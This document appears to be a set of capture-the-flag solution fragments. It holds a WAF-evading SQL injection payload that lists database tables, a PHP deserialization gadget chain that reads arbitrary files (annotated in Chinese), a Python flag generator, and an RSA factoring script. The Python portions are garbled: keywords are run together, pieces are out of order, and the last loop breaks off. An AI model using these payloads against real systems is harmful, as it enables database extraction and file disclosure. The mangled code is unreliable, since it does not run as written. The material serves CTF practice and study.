' /*!50000union*/ /*!50000select*/ 1,2,/*!50000group_concat(table_name)*/ from /*!50000information_schema.tables*/ where /*!50000table_schema*/=\"nexadata\" -- -
A::triggerMethod --> B::__toString --> C::__get --> 实现伪协议读取文件 <?php error_reporting(0); class A { public $handle; public function triggerMethod() { echo "" . $this->handle; } } class B { public $worker; public $cmd; public function __toString() { return $this->worker->result; } } class C { public $cmd; public function __get($name) { echo file_get_contents($this->cmd); } }
deff(a1): # Optimization: Fibonacci sequence modulo 16 has a period of 24 (Pisano period) # So F(n) mod 16 == F(n % 24) mod 16 a1 = a1 % 24 v5 = 0 v4 = 1 for _ inrange(a1): v2 = v4 v4 = (v5 + v4) & 0xF v5 = v2 return K[v5]
defgenerate_flag(): v11 = 1 flag = "flag{" for i inrange(32): c = f(v11) flag += c if i in [7, 12, 17, 22]: flag += "-" v11 = v11 * 8 + i + 64 v11 &= 0xFFFFFFFFFFFFFFFF flag += "}" print(flag)
if __name__ == "__main__": generate_flag() deffind_pisano_period(m): a, b = 0, 1 for i inrange(m * m): a, b = b, (a + b) % m if a == 0and b == 1: return i + 1 returnNone
period = find_pisano_period(16) print(f"Pisano period for mod 16 is: {period}")
from gmpy2 import powmod, gcd, is_prime, next_prime from Crypto.Util.number import long_to_bytes import random
k = 2 N = 484831124108275939341366810506193994531550055695853253298115538101629337644848848341479419438032232339003236906071864005366050185096955712484824249228197577223248353640366078747360090084446361275032026781246854700074896711976487694783856878403247312312487197243272330518861346981470353394149785086635163868023866817552387681890963052199983782800993485245670437818180617561464964987316161927118605512017355921555464359512280368738197370963036482455976503266489446554327046948670215814974461717020804892983665655107351050779151227099827044949961517305345415735355361979690945791766389892262659146088374064423340675969505766640604405056526597458482705651442368165084488267428304515239897907407899916127394598273176618290300112450670040922567688605072749116061905175316975711341960774150260004939250949738836358264952590189482518415728072191137713935386026127881564386427069721229262845412925923228235712893710368875996153516581760868562584742909664286792076869106489090142359608727406720798822550560161176676501888507397207863998129261472631954482761264406483807145805232317147769145985955267206369675711834485845321043623959730914679051434102698588945009836642922614296598336035078421463808774940679339890140690147375340294139027290793 c = 657984921229942454933933403447729006306657607710326864301226455143743298424203173231485254106370042482797921667656700155904329772383820736458855765136793243316671212869426397954684784861721375098512569633961083815312918123032774700110069081262242921985864796328969423527821139281310369981972743866271594590344539579191695406770264993187783060116166611986577690957583312376226071223036478908520539670631359415937784254986105845218988574365136837803183282535335170744088822352494742132919629693849729766426397683869482842748401000853783134170305075124230522253670782186531697976487673160305610021244587265868919495629 n = 16141229822582999941795528434053604024130834376743380417543848154510567941426284503974843508505293632858944676904777719167211264225017879544879766461905421764911145115313698529148118556481569662427943129906246669392285465962009760415398277861235401144473728421924300182818519451863668543279964773812681294700932779276119980976088388578080667457572761731749115242478798767995746571783659904107470270861418250270529189065684265364754871076595202944616294213418165898411332609375456093386942710433731450591144173543437880652898520275020008888364820928962186107055633582315448537508963579549702813766809204496344017389879
outer_factors = []
a = pow(2, n, N)
whileTrue: # 累积指数 a = powmod(a, k, N)
# 避免陷入平凡子群 if a == 1: k = 2 a = pow(random.randint(2, N - 2), n, N) continue
g = gcd(a - 1, N)
if g != 1and g != N: outer_factors.append(g) N //= g
if is_prime(N): outer_factors.append(N) break
k = next_prime(k)
small_primes = [] tmp = k while tmp.bit_length() == 20: small_primes.append(tmp) tmp = next_prime(tmp)